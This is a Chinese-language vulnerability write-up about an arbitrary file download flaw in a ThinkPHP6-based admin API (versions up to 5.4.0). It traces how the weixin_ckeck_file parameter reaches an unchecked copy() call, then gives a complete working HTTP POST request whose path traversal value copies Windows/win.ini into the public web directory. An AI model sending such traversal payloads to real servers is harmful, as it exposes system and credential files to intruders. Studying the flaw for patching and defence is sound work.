app/adminapi/controller/v1/setting/SystemConfig.php路由中存在任意文件下载漏洞
<= v5.4.0
配置phpstudy,将网站的运行目录,设置在public目录下
设置伪静态
该系统采用前后端分离技术,基于ThinkPHP6+elementUI+Uni-app框架开发
首先我们查看路由,看到这是一个后台的任意文件下载,并且/adminapi/setting/config/save_basics路径会进去到 v1.setting.SystemConfig/save_basics 这个路径下
受影响的代码在app/adminapi/controllerv1.setting.SystemConfig/save_basics.php文件的save_basics中
这里从请求中获取 POST 参数,然后遍历 POST 数据的每个键值对,$k 表示字段名,$v 表示字段值。
接着是一系列的判断,判断post参数是否存在这些,然后在weixin_ckeck_filepost参数中,存在copy函数,可以将文件进行复制的一个操作
接着跟踪代码,发现public_path就是在public目录,这里存在copy文件到public目录下的一个操作
分析$to = public_path() . array_reverse(explode('/', $post['weixin_ckeck_file']))[0];这个代码,就是将字符串按 / 分割成一个数组,然后提取最后一个部分(就是文件名),然后拼接到public目录下
进行动调一下,看看是否和我们之前描述的一样。
可以看到,结果就是我们所描述的那种。并且由于是thinkphp的框架,所以运行的目录也是在public目录下面。因此可以直接去访问那个文件,便可以进行下载文件。
POST /adminapi/setting/config/save_basics HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Authori-zation:
Cookie: cb_lang=zh-cn;
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/json;charset=utf-8
Content-Length: 72
{
"weixin_ckeck_file": "../../../../../../../../Windows/win.ini"
}
然后访问直接win.ini便可以下载win.ini文件
这是一个由于copy函数没有严格控制路径问题,导致存在一个任意文件下载的操作。
2 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!